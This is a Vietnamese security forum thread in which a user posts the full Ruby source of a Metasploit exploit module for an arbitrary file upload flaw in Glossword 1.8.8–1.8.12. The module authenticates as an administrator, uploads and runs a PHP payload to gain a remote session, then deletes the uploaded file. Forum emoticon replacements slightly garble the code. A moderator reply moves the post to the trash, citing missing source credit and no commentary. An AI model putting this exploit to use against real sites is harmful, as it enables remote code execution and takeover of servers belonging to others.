banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Trash Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability  XML
  [Article]   Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability 02/03/2013 21:16:43 (+0700) | #1 | 273811
[Avatar]
crazykid
Member

[Minus]    0    [Plus]
Joined: 23/02/2013 08:41:52
Messages: 33
Location: toiyeucntt
Offline
[Profile] [PM] [WWW]

Đây là exploit Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability cho metasploit
Code:


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits a file upload vulnerability in Glossword
versions 1.8.8 to 1.8.12 when run as a standalone application.
This application has an upload feature that allows an authenticated user
with administrator roles to upload arbitrary files to the 'gw_temp/a/'
directory.
},
'License' => MSF_LICENSE,
'Author' =>
[
'AkaStep', # Discovery
'Brendan Coles <bcoles[at]gmail.com>' # metasploit exploit
],
'References' =>
[
[ 'EDB', '24456' ],
[ 'OSVDB' '89960' ]
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic Targeting', { 'auto' => true }]],
'Privileged' => true,
'DisclosureDate' => "Feb 05 2013",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']),
OptString.new('USERNAME', [true, 'The username for Glossword', 'admin']),
OptString.new('PASSWORD', [true, 'The password for Glossword', 'admin'])
], self.class)
end

def check

base = target_uri.path
peer = "#{rhost}:#{rport}"
user = datastore['USERNAME']
pass = datastore['PASSWORD']

# login
print_status("#{peer} - Authenticating as user '#{user}'"smilie
begin
res = login(base, user, pass)
if res
if res.code == 200
print_error("#{peer} - Authentication failed"smilie
return Exploit::CheckCode::Unknown
elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
print_good("#{peer} - Authenticated successfully"smilie
return Exploit::CheckCode::Appears
end
end
return Exploit::CheckCode::Safe
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Connection failed"smilie
end
return Exploit::CheckCode::Unknown

end

def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi"smilie if not client.ext.aliases.include?("stdapi"smilie
client.fs.file.rm("#{@fname}"smilie
else
client.shell_command_token("rm #{@fname}"smilie
end
end

def upload(base, sid, fname, file)

user = datastore['USERNAME']
pass = datastore['PASSWORD']
data = Rex::MIME::Message.new
data.add_part(file, 'application/x-php', nil, "form-data; name=\"file_location\"; filename=\"#{fname}\""smilie
data.add_part("edit-own", nil, nil, 'form-data; name="a"')
data.add_part("users", nil, nil, 'form-data; name="t"')
data.add_part("Save", nil, nil, 'form-data; name="post"')
data.add_part("#{sid}", nil, nil, 'form-data; name="sid"')
data.add_part("#{user}", nil, nil, 'form-data; name="arPost[login]"')
data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_new]"')
data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_confirm]"')

data_post = data.to_s
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'gw_admin.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post,
})

return res
end

def login(base, user, pass)

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'gw_login.php'),
'data' => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter"
})
return res

end

def exploit

base = target_uri.path
@peer = "#{rhost}:#{rport}"
@fname= rand_text_alphanumeric(rand(10)+6) + '.php'
user = datastore['USERNAME']
pass = datastore['PASSWORD']

# login; get session id and token
print_status("#{@peer} - Authenticating as user '#{user}'"smilie
res = login(base, user, pass)
if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/
token = "#{$1}"
sid = "#{$2}"
print_good("#{@peer} - Authenticated successfully"smilie
else
fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed"smilie
end

# upload PHP payload
print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)"smilie
php = %Q|<?php #{payload.encoded} ?>|
begin
res = upload(base, sid, @fname, php)
if res and res.code == 301 and res['location'] =~ /Setting saved/
print_good("#{@peer} - File uploaded successfully"smilie
else
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed"smilie
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed"smilie
end

# retrieve PHP file path
print_status("#{@peer} - Locating PHP payload file"smilie
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, 'gw_admin.php?a=edit-own&t=users'),
'cookie' => "sid#{token}=#{sid}"
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed"smilie
end
if res and res.code == 200 and res.body =~ /<img width="" height="" src="([^"]+)"/
shell_uri = "#{$1}"
@fname = shell_uri.match('(\d+_[a-zA-Z\d]+\.php)')
print_good("#{@peer} - Found payload file path (#{shell_uri})")
else
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Failed to find PHP payload file path")
end

# retrieve and execute PHP payload
print_status("#{@peer} - Executing payload (#{shell_uri})")
begin
send_request_cgi({
'method' > 'GET',
'uri' => normalize_uri(base, shell_uri),
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed"smilie
end
if !res or res.code != 200
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Executing payload failed"smilie
end
end
end







Comments
No comments so far




© Offensive Security 2011
========== By Crazykid ==========
[Up] [Print Copy]
  [Article]   Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability 04/03/2013 16:19:23 (+0700) | #2 | 273843
[Avatar]
Ky0
Moderator

Joined: 16/08/2009 23:09:08
Messages: 532
Offline
[Profile] [PM]
Bài viết bị dời vào trash vì các lý do:

- Không ghi rõ nguồn gốc
- Không có bình luận của cá nhân về bug hoặc exploit
- Code không đưa vào thẻ code

Trân trọng!

- Ky0 -
UITNetwork.com
Let's Connect
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|